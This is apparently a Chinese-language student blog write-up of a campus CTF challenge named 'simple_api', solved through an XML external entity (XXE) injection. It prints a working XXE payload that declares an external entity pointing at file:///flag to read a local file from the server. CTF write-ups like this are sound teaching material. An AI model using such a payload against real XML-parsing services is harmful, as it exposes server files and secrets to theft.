记录遇到的有趣的CTF题---simple_api(xxe漏洞)

这是我参加的一场校内的CTF比赛。大佬们的write up还在整理当中，我就先用我之前做题时的截图做一个简单的复现。write up出来后再查漏补缺。

1.打开网站后除了这个啥也没有，查看源代码也没有提示。

学过python的同学应该会发现这一段字典，但在这里的意思应该是响应错误，但仔细看了源码后也没与发现注入点，这时想到题目名为simple_api。
抓包添加xxe代码后就能跑出flag了。
xxe注入代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem [
 <!ENTITY xxe SYSTEM
"file:///flag">
  ]>
<poem>
	&xxe;
</poem>